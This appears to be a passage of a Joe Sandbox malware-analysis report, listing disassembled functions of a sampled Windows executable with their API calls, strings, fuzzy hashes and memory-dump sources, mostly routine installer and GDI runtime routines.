Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc
String ID: BZ2_bzDecompress$BZ2_bzDecompressEnd$BZ2_bzDecompressInit
API String ID: 190572456-212574377
Opcode ID: 0cec18ecd77b334d9913731d687bcbf118ffb91831bb9c9ad7683d7253c977df
Instruction ID: f545bb075b74a91891c18b47f2e11744e93a99b0212facb5d31f4bd58d546edf
Opcode Fuzzy Hash: 0cec18ecd77b334d9913731d687bcbf118ffb91831bb9c9ad7683d7253c977df
Instruction Fuzzy Hash: 6EF0D0B0D01704EAE724DFB6ACC77363A959BA431AF14943B9A0D96263E678044DCF2D

Function 0042EA1C Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 30libraryloaderwindowCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilterEx,00000004,00499934,0045703D,004573E0,00456F94,00000000,00000B06,00000000,00000000,00000001,00000000,00000002,00000000,00480DAC), ref: 0042EA35
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042EA3B
InterlockedExchange.KERNEL32(0049B668,00000001), ref: 0042EA4C

Part of subcall function 0042E9AC: GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,0042EA70,00000004,00499934,0045703D,004573E0,00456F94,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042E9C2
Part of subcall function 0042E9AC: GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E9C8
Part of subcall function 0042E9AC: InterlockedExchange.KERNEL32(0049B660,00000001), ref: 0042E9D9

ChangeWindowMessageFilterEx.USER32(00000000,?,00000001,00000000,00000004,00499934,0045703D,004573E0,00456F94,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042EA60

Strings

user32.dll, xrefs: 0042EA30
ChangeWindowMessageFilterEx, xrefs: 0042EA2B

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressExchangeHandleInterlockedModuleProc$ChangeFilterMessageWindow
String ID: ChangeWindowMessageFilterEx$user32.dll
API String ID: 142928637-2676053874
Opcode ID: 2e6935975283b392abf6eb535232e6e33c7297ce4864da2c850d0b2669d54df9
Instruction ID: 20967f7a279d57b19857f2ad39d34e10c6be6de8430a8d3efc5b40b14e24a4c3
Opcode Fuzzy Hash: 2e6935975283b392abf6eb535232e6e33c7297ce4864da2c850d0b2669d54df9
Instruction Fuzzy Hash: 99E092A1741B20EAEA10B7B67C86FAA2658EB1076DF500037F100A51F1C3BD1C80CE9E

Function 0044C7DC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 28libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleacc.dll,?,0044F089), ref: 0044C7EB
GetProcAddress.KERNEL32(00000000,LresultFromObject), ref: 0044C7FC
GetProcAddress.KERNEL32(00000000,CreateStdAccessibleObject), ref: 0044C80C

Strings

oleacc.dll, xrefs: 0044C7E6
CreateStdAccessibleObject, xrefs: 0044C806
LresultFromObject, xrefs: 0044C7F6

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: CreateStdAccessibleObject$LresultFromObject$oleacc.dll
API String ID: 2238633743-1050967733
Opcode ID: 580db4225bb49e0f2395934ae602c4dd6ca827d8c76c18c7318a842ee4a54372
Instruction ID: d6497c9818d993b67a5702c7731996643d684f189bbd4b702b1f6e54e13363b7
Opcode Fuzzy Hash: 580db4225bb49e0f2395934ae602c4dd6ca827d8c76c18c7318a842ee4a54372
Instruction Fuzzy Hash: 50F0DA70282305CAE750BBB5FDD57263694E3A470AF18277BE841551A2C7B94844CB8C

Function 00478740 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 14libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,00498794), ref: 00478746
GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 00478753
GetProcAddress.KERNEL32(00000000,VerifyVersionInfoW), ref: 00478763

Strings

kernel32.dll, xrefs: 00478741
VerSetConditionMask, xrefs: 0047874D
VerifyVersionInfoW, xrefs: 0047875D

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: VerSetConditionMask$VerifyVersionInfoW$kernel32.dll
API String ID: 667068680-222143506
Opcode ID: c231c6f2b70c156a9a87dd751a131f3597001cd76c60e66cfe2a3d12b45a0e7a
Instruction ID: d9a2c3c187cd73cba94933972f30ec689a131e62bb2a59a557d4d9670201d7da
Opcode Fuzzy Hash: c231c6f2b70c156a9a87dd751a131f3597001cd76c60e66cfe2a3d12b45a0e7a
Instruction Fuzzy Hash: 79C0C9F02C0700EA9604B7F11CCBA7A2548C500729330803FB19EA6182D97C0C104A6C

Function 0041B66C Relevance: 9.1, APIs: 6, Instructions: 144windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041B745
GetDC.USER32(?), ref: 0041B751
SelectPalette.GDI32(00000000,?,00000000), ref: 0041B786
RealizePalette.GDI32(00000000), ref: 0041B792
CreateDIBitmap.GDI32(00000000,?,00000004,?,?,00000000), ref: 0041B7C0
SelectPalette.GDI32(00000000,00000000,00000000), ref: 0041B7F4

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Palette$Select$BitmapCreateFocusRealize
String ID:
API String ID: 3275473261-0
Opcode ID: 9b17a45ebd00e155e5aeae17ac6cac102e8e00fd56b9a0d3692e3d2bf0971335
Instruction ID: 38bdddf8d72f5571b31e8017bfcff87152bbfcb95d4f6cd7f9962c0a723fddb9
Opcode Fuzzy Hash: 9b17a45ebd00e155e5aeae17ac6cac102e8e00fd56b9a0d3692e3d2bf0971335
Instruction Fuzzy Hash: 8A512F70A002099FDF11DFA9C881AEEBBF9FF49704F104066F504A7791D7799981CBA9

Function 0041B93C Relevance: 9.1, APIs: 6, Instructions: 142windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041BA17
GetDC.USER32(?), ref: 0041BA23
SelectPalette.GDI32(00000000,?,00000000), ref: 0041BA5D
RealizePalette.GDI32(00000000), ref: 0041BA69
CreateDIBitmap.GDI32(00000000,?,00000004,?,?,00000000), ref: 0041BA8D
SelectPalette.GDI32(00000000,00000000,00000000), ref: 0041BAC1

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Palette$Select$BitmapCreateFocusRealize
String ID:
API String ID: 3275473261-0
Opcode ID: f1b656a7ede54f8d65f93cc35dc493626dae048aef23b352968a277fb398f08e
Instruction ID: 3fcaffe560058c7771eaec6053d79e0e1924f360d52694d27862de55114c0f48
Opcode Fuzzy Hash: f1b656a7ede54f8d65f93cc35dc493626dae048aef23b352968a277fb398f08e
Instruction Fuzzy Hash: 9D512A74A002189FDB11DFA9C891AAEBBF9FF49700F154066F904EB751D738AD40CBA4

Function 0041B508 Relevance: 9.1, APIs: 6, Instructions: 113windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 0041B57E
GetDC.USER32(?), ref: 0041B58A
GetDeviceCaps.GDI32(?,00000068), ref: 0041B5A6
GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 0041B5C3
GetSystemPaletteEntries.GDI32(?,00000000,00000008,?), ref: 0041B5DA
ReleaseDC.USER32(?,?), ref: 0041B626

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: EntriesPaletteSystem$CapsDeviceFocusRelease
String ID:
API String ID: 2502006586-0
Opcode ID: e956e6ae92597662ed98b2f51c6b506043ab8b509e5ceb21f610fa5f8f95298e
Instruction ID: 1753bd22f5710d4f749a3cf2d8329d0f84e6490acb09e3fae29671003709e3a5
Opcode Fuzzy Hash: e956e6ae92597662ed98b2f51c6b506043ab8b509e5ceb21f610fa5f8f95298e
Instruction Fuzzy Hash: D0410631A04258AFDF10DFA9C885AAFBBB4EF59704F1484AAF500EB351D3389D51CBA5

Function 0045CE9C Relevance: 9.1, APIs: 2, Strings: 4, Instructions: 73COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000057,00000000,0045CF68,?,?,?,?,00000000), ref: 0045CF07
SetLastError.KERNEL32(00000000,00000002,?,?,?,0045CFD4,?,00000000,0045CF68,?,?,?,?,00000000), ref: 0045CF46

Strings

CURRENT_USER, xrefs: 0045CEDB
MACHINE, xrefs: 0045CEEA
CLASSES_ROOT, xrefs: 0045CECC
USERS, xrefs: 0045CEF9

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: ErrorLast
String ID: CLASSES_ROOT$CURRENT_USER$MACHINE$USERS
API String ID: 1452528299-1580325520
Opcode ID: 1bdeb0a210bc513e3c49bf4cbd891cc1911c01b4b436513822a1df069e086b30
Instruction ID: 452c5d812052531473411f8275c40b5c85b18bf76fc7955a310c39f58cd58d14
Opcode Fuzzy Hash: 1bdeb0a210bc513e3c49bf4cbd891cc1911c01b4b436513822a1df069e086b30
Instruction Fuzzy Hash: 3811A536204304AFD711DAA1C9C2A9EB69EDB44706F604037AD00A62C7D67C5F0AD52D

Function 0041BD8C Relevance: 9.1, APIs: 6, Instructions: 71COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000000B), ref: 0041BDD5
GetSystemMetrics.USER32(0000000C), ref: 0041BDDF
GetDC.USER32(00000000), ref: 0041BDE9
GetDeviceCaps.GDI32(00000000,0000000E), ref: 0041BE10
GetDeviceCaps.GDI32(00000000,0000000C), ref: 0041BE1D
ReleaseDC.USER32(00000000,00000000), ref: 0041BE56

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CapsDeviceMetricsSystem$Release
String ID:
API String ID: 447804332-0
Opcode ID: 3bdc6123dd6674b0137b7fef1a93c0b96d54f33e4692062cf67464f69f8f60e7
Instruction ID: d5b995c8e3894394b735eabd433659eae54025482fea58e306a85006fdca5b97
Opcode Fuzzy Hash: 3bdc6123dd6674b0137b7fef1a93c0b96d54f33e4692062cf67464f69f8f60e7
Instruction Fuzzy Hash: E5212A74E04648AFEB00EFA9C941BEEB7B4EB48714F10846AF514B7690D7785940CB69

Function 00401A90 Relevance: 9.1, APIs: 6, Instructions: 59COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.KERNEL32(0049B420,00000000,00401B68), ref: 00401ABD
LocalFree.KERNEL32(0054E0B8,00000000,00401B68), ref: 00401ACF
VirtualFree.KERNEL32(?,00000000,00008000,0054E0B8,00000000,00401B68), ref: 00401AEE
LocalFree.KERNEL32(0054F0B8,?,00000000,00008000,0054E0B8,00000000,00401B68), ref: 00401B2D
RtlLeaveCriticalSection.KERNEL32(0049B420,00401B6F), ref: 00401B58
RtlDeleteCriticalSection.KERNEL32(0049B420,00401B6F), ref: 00401B62

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CriticalFreeSection$Local$DeleteEnterLeaveVirtual
String ID:
API String ID: 3782394904-0
Opcode ID: ef0d8b2142be7cf42810e170793bf0a6b8446fdea194a224c38922696d0a74e0
Instruction ID: 79795942c165c44483fb09e1962e32eaca51f8de38df00e9c029d8aa05623ce8
Opcode Fuzzy Hash: ef0d8b2142be7cf42810e170793bf0a6b8446fdea194a224c38922696d0a74e0
Instruction Fuzzy Hash: 3B118E30A003405AEB15AB65BE85B263BA5D761B08F44407BF80067BF3D77C5850E7AE

Function 0047E23C Relevance: 9.1, APIs: 6, Instructions: 57COMMON

Download Yara Rule

APIs

GetWindowLongA.USER32(?,000000EC), ref: 0047E24A
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC,?,0046CBBD), ref: 0047E270
GetWindowLongA.USER32(?,000000EC), ref: 0047E280
SetWindowLongA.USER32(?,000000EC,00000000), ref: 0047E2A1
ShowWindow.USER32(?,00000005,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC), ref: 0047E2B5
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000057,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000), ref: 0047E2D1

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Window$Long$Show
String ID:
API String ID: 3609083571-0
Opcode ID: b4e19ff4e98ab52ecda950bfdcb646100cf30b97dd598c6192f2cb622b5c4e11
Instruction ID: c2beb8629b08809d81cb9269d2d7eee694fde7899d985d279cae8c77c91b058d
Opcode Fuzzy Hash: b4e19ff4e98ab52ecda950bfdcb646100cf30b97dd598c6192f2cb622b5c4e11
Instruction Fuzzy Hash: A40140B1641210ABE610D769DE41F2237DCAB0C360F0907A6BA44EF3E3C728E8408B49

Function 0041B270 Relevance: 9.0, APIs: 6, Instructions: 43COMMON

Download Yara Rule

APIs

Part of subcall function 0041A6E0: CreateBrushIndirect.GDI32 ref: 0041A74B

UnrealizeObject.GDI32(00000000), ref: 0041B27C
SelectObject.GDI32(?,00000000), ref: 0041B28E
SetBkColor.GDI32(?,00000000), ref: 0041B2B1
SetBkMode.GDI32(?,00000002), ref: 0041B2BC
SetBkColor.GDI32(?,00000000), ref: 0041B2D7
SetBkMode.GDI32(?,00000001), ref: 0041B2E2

Part of subcall function 0041A058: GetSysColor.USER32(?), ref: 0041A062

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
String ID:
API String ID: 3527656728-0
Opcode ID: 90af7722afa79acc590a6ee3060039fb524340e2cf7ce152cccbdcb584e8dbde
Instruction ID: d03b18a2b949c207061bd18b8e5d47ed8ce294e6be165222704fda36eef26a4f
Opcode Fuzzy Hash: 90af7722afa79acc590a6ee3060039fb524340e2cf7ce152cccbdcb584e8dbde
Instruction Fuzzy Hash: 56F0CD756015009BDE00FFAAD9CBE4B3B989F043097048496B908DF187CA3CD8649B3A

Function 004978CC Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 97COMMON

Download Yara Rule

APIs

Part of subcall function 004242C4: SetWindowTextA.USER32(?,00000000), ref: 004242DC

ShowWindow.USER32(?,00000005,00000000,00497B31,?,?,00000000), ref: 00497902

Part of subcall function 0042D8C4: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D8D7

Part of subcall function 004072A8: SetCurrentDirectoryA.KERNEL32(00000000,?,0049792A,00000000,00497AFD,?,?,00000005,00000000,00497B31,?,?,00000000), ref: 004072B3

Part of subcall function 0042D44C: GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,0042D4DA,?,?,?,00000001,?,0045607E,00000000,004560E6), ref: 0042D481

Strings

IMsg, xrefs: 004979D6
.dat, xrefs: 00497949
.msg, xrefs: 00497968
Uninstall, xrefs: 004978E8

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: DirectoryWindow$CurrentFileModuleNameShowSystemText
String ID: .dat$.msg$IMsg$Uninstall
API String ID: 3312786188-1660910688
Opcode ID: 7512cdbd572c9146c7922e267a2e3ec6043e3c2241cd3ad81f3df178027fada8
Instruction ID: 79fbc7277211ce2bf855d188aeb365c1f4e20c687b9dac3c04c4e1571c34c8ae
Opcode Fuzzy Hash: 7512cdbd572c9146c7922e267a2e3ec6043e3c2241cd3ad81f3df178027fada8
Instruction Fuzzy Hash: 44315E34A10214AFDB01EB65DC92D5E7B75FB89718B91847AF400AB392DB38BD018B58

Function 0042EAA8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ShutdownBlockReasonCreate), ref: 0042EADA
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042EAE0
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000FFF,00000000,user32.dll,ShutdownBlockReasonCreate), ref: 0042EB09

Strings

user32.dll, xrefs: 0042EAD5
ShutdownBlockReasonCreate, xrefs: 0042EAD0

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressByteCharHandleModuleMultiProcWide
String ID: ShutdownBlockReasonCreate$user32.dll
API String ID: 828529508-2866557904
Opcode ID: dc376cfddf31d7f2fdf241a02509d8c694355095d88693d0378826b1ee5e642a
Instruction ID: 7e091cf0cf0c4dae12ae48626bdfb721f4796128e550bb25d34418d77cfbcdd5
Opcode Fuzzy Hash: dc376cfddf31d7f2fdf241a02509d8c694355095d88693d0378826b1ee5e642a
Instruction Fuzzy Hash: 70F0C8D034061136E620B57F5C82F7B598C8F94759F140436B109E62C2D96CA905426E

Function 00457E48 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,00000001,00000000,000000FF,000000FF), ref: 00457E78
GetExitCodeProcess.KERNEL32(?,?), ref: 00457E99
CloseHandle.KERNEL32(?,00457ECC), ref: 00457EBF

Strings

GetExitCodeProcess, xrefs: 00457EA2
MsgWaitForMultipleObjects, xrefs: 00457E85

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: CloseCodeExitHandleMultipleObjectsProcessWait
String ID: GetExitCodeProcess$MsgWaitForMultipleObjects
API String ID: 2573145106-3235461205
Opcode ID: 1ea0d3176aedc3e092b8d1903486a3d6a13cecd7bb31937a8215cd8aa9781b6e
Instruction ID: b72ead612c96ea1451a2df619a1119c508d9f8e19ef45bb7a80fe0c677849c01
Opcode Fuzzy Hash: 1ea0d3176aedc3e092b8d1903486a3d6a13cecd7bb31937a8215cd8aa9781b6e
Instruction Fuzzy Hash: DA01A235608304AFD711EBA9AC06A1A73A8EB49715F2040B6FC10E73D3D6389E04861D

Function 0042E9AC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(user32.dll,ChangeWindowMessageFilter,?,0042EA70,00000004,00499934,0045703D,004573E0,00456F94,00000000,00000B06,00000000,00000000,00000001,00000000,00000002), ref: 0042E9C2
GetProcAddress.KERNEL32(00000000,user32.dll), ref: 0042E9C8
InterlockedExchange.KERNEL32(0049B660,00000001), ref: 0042E9D9

Strings

user32.dll, xrefs: 0042E9BD
ChangeWindowMessageFilter, xrefs: 0042E9B8

Memory Dump Source

Source File: 0000000C.00000002.2533065654.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000C.00000002.2532944674.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533577174.0000000000499000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533705518.000000000049A000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2533821640.000000000049B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000C.00000002.2534004402.00000000004AB000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_sQurASc1qLwRL.jbxd

Similarity

API ID: AddressExchangeHandleInterlockedModuleProc
String ID: ChangeWindowMessageFilter$user32.dll
API String ID: 3478007392-2498399450
Opcode ID: 3254194633b527647525dea76c004eb0f33bc99a9c522dc813bf1be520244ffe
Instruction ID: c922fa4e85abb1c6873f36dcd01b6443d81c66d6c3501223796626af46e79b09
Opcode Fuzzy Hash: 3254194633b527647525dea76c004eb0f33bc99a9c522dc813bf1be520244ffe
Instruction Fuzzy Hash: 5CE0ECB2740324EADA103B627E8AF663558E724B19F50043BF001751F1C7FD1C80CA9E

Function 004776B4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderthreadCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32(00000000), ref: 004776BC
